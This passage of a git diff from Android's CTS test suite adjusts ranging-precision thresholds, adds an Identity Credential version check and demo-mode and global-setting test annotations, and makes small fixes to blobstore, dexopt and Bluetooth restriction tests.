+++ b/apps/CtsVerifier/src/com/android/cts/verifier/presence/NanPrecisionTestActivity.java
@@ -51,10 +51,10 @@
     private static final String KEY_REFERENCE_DEVICE = "reference_device";
 
     // Thresholds
-    private static final int MAX_DISTANCE_RANGE_METERS_160MHZ = 1;
-    private static final int MAX_DISTANCE_RANGE_METERS_80MHZ = 2;
-    private static final int MAX_DISTANCE_RANGE_METERS_40MHZ = 4;
-    private static final int MAX_DISTANCE_RANGE_METERS_20MHZ = 8;
+    private static final int MAX_DISTANCE_RANGE_METERS_160MHZ = 2;
+    private static final int MAX_DISTANCE_RANGE_METERS_80MHZ = 4;
+    private static final int MAX_DISTANCE_RANGE_METERS_40MHZ = 8;
+    private static final int MAX_DISTANCE_RANGE_METERS_20MHZ = 16;
 
     // Maps NAN bandwidths to acceptable range thresholds
     private static final ImmutableMap<Integer, Integer> BANDWIDTH_TO_THRESHOLD_MAP =
@@ -94,6 +94,8 @@
         DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
                 PackageManager.FEATURE_WIFI_AWARE);
 
+        mBandwidthMhz.addTextChangedListener(
+                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
         mMeasurementRange10cmGt68p.addTextChangedListener(
                 InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
         mMeasurementRange1mGt68p.addTextChangedListener(
@@ -170,8 +172,7 @@
             }
             double distanceRange = Double.parseDouble(input);
             int bandwidth = Integer.parseInt(bandwidthInputMhz);
-            if (distanceRange < -BANDWIDTH_TO_THRESHOLD_MAP.get(bandwidth)
-                    || distanceRange > BANDWIDTH_TO_THRESHOLD_MAP.get(bandwidth)) {
+            if (distanceRange > BANDWIDTH_TO_THRESHOLD_MAP.get(bandwidth)) {
                 // All inputs must be in acceptable range so fail early otherwise
                 return false;
             }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbPrecisionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbPrecisionActivity.java
index a6b3224..5d1ff86 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbPrecisionActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbPrecisionActivity.java
@@ -34,14 +34,11 @@
     private static final String TAG = UwbPrecisionActivity.class.getName();
     // Report log schema
     private static final String KEY_DISTANCE_RANGE_CM = "distance_range_cm";
-    private static final String KEY_AOA_RANGE_DEGREES = "aoa_range_degrees";
     private static final String KEY_REFERENCE_DEVICE = "reference_device";
     // Thresholds
-    private static final int MAX_DISTANCE_RANGE_CM = 15;
-    private static final int MAX_ANGLE_OF_ARRIVAL_RANGE_DEGREES = 5;
+    private static final int MAX_DISTANCE_RANGE_CM = 30;
 
     private EditText mDistanceRangeInput;
-    private EditText mAoaRangeInput;
     private EditText mReferenceDeviceInput;
 
     @Override
@@ -52,7 +49,6 @@
         getPassButton().setEnabled(false);
 
         mDistanceRangeInput = (EditText) findViewById(R.id.distance_range_cm);
-        mAoaRangeInput = (EditText) findViewById(R.id.aoa_range_degrees);
         mReferenceDeviceInput = (EditText) findViewById(R.id.reference_device);
 
         DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
@@ -60,15 +56,13 @@
 
         mDistanceRangeInput.addTextChangedListener(
                 InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-        mAoaRangeInput.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
         mReferenceDeviceInput.addTextChangedListener(
                 InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
     }
 
     private void checkTestInputs() {
         getPassButton().setEnabled(
-                checkDistanceRangeInput() && checkAoaRangeInput() && checkReferenceDeviceInput());
+                checkDistanceRangeInput() && checkReferenceDeviceInput());
     }
 
     private boolean checkDistanceRangeInput() {
@@ -77,23 +71,11 @@
             double distanceRange = Double.parseDouble(distanceRangeInput);
             // Distance range must be inputted and within acceptable range before test can be
             // passed.
-            return distanceRange >= -MAX_DISTANCE_RANGE_CM
-                    && distanceRange <= MAX_DISTANCE_RANGE_CM;
+            return distanceRange <= MAX_DISTANCE_RANGE_CM;
         }
         return false;
     }
 
-    private boolean checkAoaRangeInput() {
-        String aoaRangeInput = mAoaRangeInput.getText().toString();
-        if (!aoaRangeInput.isEmpty()) {
-            int aoaRange = Integer.parseInt(aoaRangeInput);
-            // Aoa range must be within acceptable range before test can be passed.
-            return aoaRange >= -MAX_ANGLE_OF_ARRIVAL_RANGE_DEGREES
-                    && aoaRange <= MAX_ANGLE_OF_ARRIVAL_RANGE_DEGREES;
-        }
-        return true;
-    }
-
     private boolean checkReferenceDeviceInput() {
         // Reference device must be inputted before test can be passed.
         return !mReferenceDeviceInput.getText().toString().isEmpty();
@@ -102,18 +84,12 @@
     @Override
     public void recordTestResults() {
         String distanceRange = mDistanceRangeInput.getText().toString();
-        String aoaRange = mAoaRangeInput.getText().toString();
         String referenceDevice = mReferenceDeviceInput.getText().toString();
         if (!distanceRange.isEmpty()) {
             Log.i(TAG, "UWB Distance Range: " + distanceRange);
             getReportLog().addValue(KEY_DISTANCE_RANGE_CM, Double.parseDouble(distanceRange),
                     ResultType.NEUTRAL, ResultUnit.NONE);
         }
-        if (!aoaRange.isEmpty()) {
-            Log.i(TAG, "UWB Angle of Arrival Range: " + aoaRange);
-            getReportLog().addValue(KEY_AOA_RANGE_DEGREES, Double.parseDouble(aoaRange),
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
         if (!referenceDevice.isEmpty()) {
             Log.i(TAG, "UWB Reference Device: " + referenceDevice);
             getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDevice,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/IdentityCredentialAuthenticationMultiDocument.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/IdentityCredentialAuthenticationMultiDocument.java
index d68c5b6..316e15a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/IdentityCredentialAuthenticationMultiDocument.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/IdentityCredentialAuthenticationMultiDocument.java
@@ -18,6 +18,8 @@
 
 import android.Manifest;
 import android.app.KeyguardManager;
+import android.content.Context;
+import android.content.pm.FeatureInfo;
 import android.content.pm.PackageManager;
 import android.hardware.biometrics.BiometricManager;
 import android.hardware.biometrics.BiometricManager.Authenticators;
@@ -48,6 +50,7 @@
 import java.util.Collection;
 import java.util.LinkedHashMap;
 import java.util.LinkedList;
+import java.util.Locale;
 import java.util.Map;
 
 /**
@@ -59,6 +62,8 @@
 
     private static final int BIOMETRIC_REQUEST_PERMISSION_CODE = 0;
 
+    private static final int PRESENTATION_SESSION_FEATURE_VERSION_NEEDED = 202201;
+
     private BiometricManager mBiometricManager;
     private KeyguardManager mKeyguardManager;
 
@@ -70,6 +75,31 @@
         return R.string.sec_identity_credential_authentication_multi_document_test_info;
     }
 
+    // Returns 0 if Identity Credential is not implemented. Otherwise returns the feature version.
+    //
+    private static int getFeatureVersion(Context appContext) {
+        PackageManager pm = appContext.getPackageManager();
+
+        if (pm.hasSystemFeature(PackageManager.FEATURE_IDENTITY_CREDENTIAL_HARDWARE)) {
+            FeatureInfo[] infos = pm.getSystemAvailableFeatures();
+            for (int n = 0; n < infos.length; n++) {
+                FeatureInfo info = infos[n];
+                if (info.name.equals(PackageManager.FEATURE_IDENTITY_CREDENTIAL_HARDWARE)) {
+                    return info.version;
+                }
+            }
+        }
+
+        // Use of the system feature is not required since Android 12. So for Android 11
+        // return 202009 which is the feature version shipped with Android 11.
+        IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
+        if (store != null) {
+            return 202009;
+        }
+
+        return 0;
+    }
+
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -154,6 +184,18 @@
             getPassButton().setEnabled(true);
             return;
         }
+        int featureVersion = getFeatureVersion(this);
+        Log.i(TAG, "Identity Credential featureVersion: " + featureVersion);
+        if (featureVersion < PRESENTATION_SESSION_FEATURE_VERSION_NEEDED) {
+            showToast(String.format(
+                          Locale.US,
+                          "Identity Credential version %d or later is required but "
+                          + "version %d was found. Test passed.",
+                          PRESENTATION_SESSION_FEATURE_VERSION_NEEDED,
+                          featureVersion));
+            getPassButton().setEnabled(true);
+            return;
+        }
 
         final int result = mBiometricManager.canAuthenticate(Authenticators.BIOMETRIC_STRONG);
         switch (result) {
diff --git a/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureDemoMode.java b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureDemoMode.java
new file mode 100644
index 0000000..22928dc
--- /dev/null
+++ b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureDemoMode.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+
+/**
+ * Ensure that the device is in retail demo mode before running the test.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@EnsureGlobalSettingSet(key = "device_demo_mode", value = "1")
+public @interface EnsureDemoMode {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default MIDDLE;
+}
diff --git a/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureGlobalSettingSet.java b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureGlobalSettingSet.java
new file mode 100644
index 0000000..6bed7c4
--- /dev/null
+++ b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureGlobalSettingSet.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Repeatable;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@Repeatable(EnsureGlobalSettingSetGroup.class)
+public @interface EnsureGlobalSettingSet {
+    String key();
+
+    String value();
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default MIDDLE;
+}
diff --git a/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureGlobalSettingSetGroup.java b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureGlobalSettingSetGroup.java
new file mode 100644
index 0000000..08f90e9
--- /dev/null
+++ b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureGlobalSettingSetGroup.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
+
+import com.android.bedstead.harrier.annotations.meta.RepeatingAnnotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@RepeatingAnnotation
+public @interface EnsureGlobalSettingSetGroup {
+    EnsureGlobalSettingSet[] value();
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default MIDDLE;
+}
diff --git a/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureNotDemoMode.java b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureNotDemoMode.java
new file mode 100644
index 0000000..5010873
--- /dev/null
+++ b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureNotDemoMode.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+
+/**
+ * Ensure that the device is not in retail demo mode before running the test.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@EnsureGlobalSettingSet(key = "device_demo_mode", value = "0")
+public @interface EnsureNotDemoMode {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default MIDDLE;
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
index bf67e58..b28b815a 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
@@ -50,6 +50,7 @@
 import com.android.bedstead.harrier.annotations.EnsureCanGetPermission;
 import com.android.bedstead.harrier.annotations.EnsureDoesNotHaveAppOp;
 import com.android.bedstead.harrier.annotations.EnsureDoesNotHavePermission;
+import com.android.bedstead.harrier.annotations.EnsureGlobalSettingSet;
 import com.android.bedstead.harrier.annotations.EnsureHasAppOp;
 import com.android.bedstead.harrier.annotations.EnsureHasPermission;
 import com.android.bedstead.harrier.annotations.EnsurePackageNotInstalled;
@@ -778,6 +779,14 @@
                 ensureBluetoothDisabled();
                 continue;
             }
+
+            if (annotation instanceof EnsureGlobalSettingSet) {
+                EnsureGlobalSettingSet ensureGlobalSettingSetAnnotation =
+                        (EnsureGlobalSettingSet) annotation;
+                ensureGlobalSettingSet(
+                        ensureGlobalSettingSetAnnotation.key(),
+                        ensureGlobalSettingSetAnnotation.value());
+            }
         }
 
         requireSdkVersion(/* min= */ mMinSdkVersionCurrentTest,
@@ -1152,7 +1161,7 @@
     private Boolean mOriginalBluetoothEnabled;
     private TestAppProvider mTestAppProvider = new TestAppProvider();
     private Map<String, TestAppInstance> mTestApps = new HashMap<>();
-
+    private final Map<String, String> mOriginalGlobalSettings = new HashMap<>();
 
     private static final class RemovedUser {
         // Store the user builder so we can recreate the user later
@@ -1759,6 +1768,11 @@
             TestApis.bluetooth().setEnabled(mOriginalBluetoothEnabled);
             mOriginalBluetoothEnabled = null;
         }
+
+        for (Map.Entry<String, String> s : mOriginalGlobalSettings.entrySet()) {
+            TestApis.settings().global().putString(s.getKey(), s.getValue());
+        }
+        mOriginalGlobalSettings.clear();
     }
 
     private UserReference createProfile(
@@ -2507,4 +2521,11 @@
             mPermissionContext = mPermissionContext.withoutPermission(permission);
         }
     }
+
+    private void ensureGlobalSettingSet(String key, String value) {
+        if (!mOriginalGlobalSettings.containsKey(key)) {
+            mOriginalGlobalSettings.put(key, TestApis.settings().global().getString(value));
+        }
+        TestApis.settings().global().putString(key, value);
+    }
 }
diff --git a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
index a5ec109..8234786 100644
--- a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
+++ b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
@@ -53,8 +53,10 @@
 
 import com.android.bedstead.harrier.annotations.EnsureBluetoothDisabled;
 import com.android.bedstead.harrier.annotations.EnsureBluetoothEnabled;
+import com.android.bedstead.harrier.annotations.EnsureDemoMode;
 import com.android.bedstead.harrier.annotations.EnsureDoesNotHaveAppOp;
 import com.android.bedstead.harrier.annotations.EnsureDoesNotHavePermission;
+import com.android.bedstead.harrier.annotations.EnsureGlobalSettingSet;
 import com.android.bedstead.harrier.annotations.EnsureHasAppOp;
 import com.android.bedstead.harrier.annotations.EnsureHasNoSecondaryUser;
 import com.android.bedstead.harrier.annotations.EnsureHasNoTvProfile;
@@ -63,6 +65,7 @@
 import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
 import com.android.bedstead.harrier.annotations.EnsureHasTvProfile;
 import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
+import com.android.bedstead.harrier.annotations.EnsureNotDemoMode;
 import com.android.bedstead.harrier.annotations.EnsurePackageNotInstalled;
 import com.android.bedstead.harrier.annotations.EnsurePasswordNotSet;
 import com.android.bedstead.harrier.annotations.EnsureScreenIsOn;
@@ -974,4 +977,25 @@
         assertThat(sDeviceState.testApp()
                 .testApp().pkg().appOps().get(OPSTR_START_FOREGROUND)).isEqualTo(ALLOWED);
     }
+
+    @EnsureGlobalSettingSet(key = "testGlobalSetting", value = "testValue")
+    @Test
+    public void ensureGlobalSettingSetAnnotation_globalSettingIsSet() {
+        assertThat(TestApis.settings().global().getString("testGlobalSetting"))
+                .isEqualTo("testValue");
+    }
+
+    @EnsureDemoMode
+    @Test
+    public void ensureDemoModeAnnotation_deviceIsInDemoMode() {
+        assertThat(TestApis.settings().global().getInt("device_demo_mode"))
+                .isEqualTo(1);
+    }
+
+    @EnsureNotDemoMode
+    @Test
+    public void ensureNotDemoModeAnnotation_deviceIsNotInDemoMode() {
+        assertThat(TestApis.settings().global().getInt("device_demo_mode"))
+                .isEqualTo(0);
+    }
 }
diff --git a/hostsidetests/appsearch/AndroidTest.xml b/hostsidetests/appsearch/AndroidTest.xml
index a538916..8bd1dc0 100644
--- a/hostsidetests/appsearch/AndroidTest.xml
+++ b/hostsidetests/appsearch/AndroidTest.xml
@@ -20,16 +20,22 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
     <test class="com.android.tradefed.testtype.HostTest" >
         <option name="jar" value="CtsAppSearchHostTestCases.jar" />
     </test>
+
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="test-file-name" value="CtsAppSearchHostTestHelperA.apk" />
         <option name="test-file-name" value="CtsAppSearchHostTestHelperB.apk" />
         <option name="cleanup-apks" value="true" />
     </target_preparer>
+
     <object type="module_controller"
             class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
         <option name="mainline-module-package-name" value="com.google.android.appsearch" />
     </object>
+
+    <object type="module_controller"
+            class="com.android.tradefed.testtype.suite.module.Sdk33ModuleController" />
 </configuration>
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
index ef44158..3f353d0 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
@@ -810,8 +810,6 @@
                 "verifySignatures_withRotation_succeeds");
     }
 
-    // TODO(b/235407278): fix the prebuilts used for this test and enable it again
-    /*
     @CddTest(requirement="4/C-0-9")
     public void testInstallV41WrongBlockId() throws Exception {
         // V4 is only enabled on devices with Incremental feature
@@ -862,7 +860,6 @@
         assertInstallV4FailsWithError("CtsSignatureQueryService_v2-tgt-33-wrongDigest.apk",
                 "APK digest in V4 signature does not match V2/V3");
     }
-    */
 
     public void testInstallV3KeyRotationSigPerm() throws Exception {
         // tests that a v3 signed APK can still get a signature permission from an app with its
diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
index fc355af..e9e13a8 100644
--- a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
+++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
@@ -18,6 +18,7 @@
 import static com.google.common.truth.Truth.assertWithMessage;
 
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
 import com.android.tradefed.util.Pair;
@@ -133,12 +134,25 @@
     protected void addAssistRoleHolder(String pkgName, int userId) throws Exception {
         final String cmd = String.format("cmd role add-role-holder "
                 + "--user %d android.app.role.ASSISTANT %s", userId, pkgName);
-        getDevice().executeShellCommand(cmd).trim();
+        runCommand(cmd);
     }
 
     protected void removeAssistRoleHolder(String pkgName, int userId) throws Exception {
         final String cmd = String.format("cmd role remove-role-holder "
                 + "--user %d android.app.role.ASSISTANT %s", userId, pkgName);
-        getDevice().executeShellCommand(cmd).trim();
+        runCommand(cmd);
+    }
+
+    protected void revokePermission(String pkgName, String permissionName, int userId)
+            throws Exception {
+        final String cmd = String.format("cmd package revoke --user %d %s %s",
+                userId, pkgName, permissionName);
+        runCommand(cmd);
+    }
+
+    protected String runCommand(String command) throws Exception {
+        final String output = getDevice().executeShellCommand(command);
+        CLog.v("Output of cmd '" + command + "': '" + output.trim() + "'");
+        return output;
     }
 }
\ No newline at end of file
diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java
index ec13654..6731383 100644
--- a/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java
+++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java
@@ -15,10 +15,10 @@
  */
 package com.android.cts.host.blob;
 
-import static org.junit.Assume.assumeTrue;
-
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assume.assumeTrue;
+
 import com.android.tradefed.invoker.TestInformation;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.AfterClassWithInfo;
@@ -35,6 +35,9 @@
 public class BlobStoreMultiUserTest extends BaseBlobStoreHostTest {
     private static final String TEST_CLASS = TARGET_PKG + ".DataCleanupTest";
 
+    private static final String PERM_ACCESS_BLOBS_ACROSS_USERS =
+            "android.permission.ACCESS_BLOBS_ACROSS_USERS";
+
     private static int mPrimaryUserId;
     private static int mSecondaryUserId;
 
@@ -58,6 +61,10 @@
         // want the ACCESS_BLOBS_ACROSS_USERS permission to be granted by default.
         installPackageAsUser(TARGET_APK_ASSIST, false /* grantPermissions */, mPrimaryUserId);
         installPackageAsUser(TARGET_APK_ASSIST, false /* grantPermissions */, mSecondaryUserId);
+        // Explicitly revoke the permission, in order to deal with
+        // http://b/233710271 which was causing the permission to be pre-granted.
+        revokePermission(TARGET_PKG_ASSIST, PERM_ACCESS_BLOBS_ACROSS_USERS, mPrimaryUserId);
+        revokePermission(TARGET_PKG_ASSIST, PERM_ACCESS_BLOBS_ACROSS_USERS, mSecondaryUserId);
     }
 
     @AfterClassWithInfo
diff --git a/hostsidetests/compilation/src/android/compilation/cts/BackgroundDexOptimizationTest.java b/hostsidetests/compilation/src/android/compilation/cts/BackgroundDexOptimizationTest.java
index 9affccb..fc82723 100644
--- a/hostsidetests/compilation/src/android/compilation/cts/BackgroundDexOptimizationTest.java
+++ b/hostsidetests/compilation/src/android/compilation/cts/BackgroundDexOptimizationTest.java
@@ -91,6 +91,8 @@
     public void setUp() throws Exception {
         mDevice = getDevice();
         assertThat(mDevice.waitForBootComplete(REBOOT_TIMEOUT_MS)).isTrue();
+        // Turn off the display to simulate the idle state in terms of power consumption.
+        toggleScreenOn(false);
     }
 
     @Test
@@ -227,12 +229,26 @@
 
     @After
     public void tearDown() throws Exception {
+        // Restore the display state. CTS runs display on state by default. So we need to turn it
+        // on again.
+        toggleScreenOn(true);
         // Cancel all active dexopt jobs.
         executeShellCommand(CMD_CANCEL_IDLE);
         executeShellCommand(CMD_CANCEL_POST_BOOT);
         mDevice.uninstallPackage(APPLICATION_PACKAGE);
     }
 
+    /**
+     * Turns on or off the screen.
+     */
+    private void toggleScreenOn(boolean on) throws Exception {
+        if (on) {
+            executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        } else {
+            executeShellCommand("input keyevent KEYCODE_SLEEP");
+        }
+    }
+
     private void postJobSchedulerJob(String cmd) throws Exception {
         // Do retry as job may not be registered yet during boot up.
         pollingCheck("Starting job timeout:" + cmd, DEXOPT_TIMEOUT_MS,
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
index d6338a6..eb5cc56 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
@@ -28,6 +28,8 @@
 import android.util.DebugUtils;
 import android.util.Log;
 
+import com.android.internal.util.ArrayUtils;
+
 /**
  * Test interaction between {@link UserManager#DISALLOW_BLUETOOTH} user restriction and the state
  * of Bluetooth.
@@ -156,14 +158,15 @@
 
         // The BluetoothOppLauncherActivity's component should be disabled.
         assertComponentStateAfterTimeout(
-                oppLauncherComponent, PackageManager.COMPONENT_ENABLED_STATE_DISABLED);
+                oppLauncherComponent, new int[] {PackageManager.COMPONENT_ENABLED_STATE_DISABLED});
 
         // Remove the user restriction.
         clearUserRestriction(restriction);
 
-        // The BluetoothOppLauncherActivity's component should be in the default state.
+        // The BluetoothOppLauncherActivity's component should be enabled or default.
         assertComponentStateAfterTimeout(
-                oppLauncherComponent, PackageManager.COMPONENT_ENABLED_STATE_DEFAULT);
+                oppLauncherComponent, new int[] {PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
+                    PackageManager.COMPONENT_ENABLED_STATE_DEFAULT});
     }
 
     /** Helper to turn BT off.
@@ -223,19 +226,20 @@
                 + " instead of STATE_OFF");
     }
 
-    private void assertComponentStateAfterTimeout(ComponentName component, int expectedState) {
+    private void assertComponentStateAfterTimeout(ComponentName component, int[] expectedState) {
         final long timeout = SystemClock.elapsedRealtime() + COMPONENT_STATE_TIMEOUT_MS;
         int state = -1;
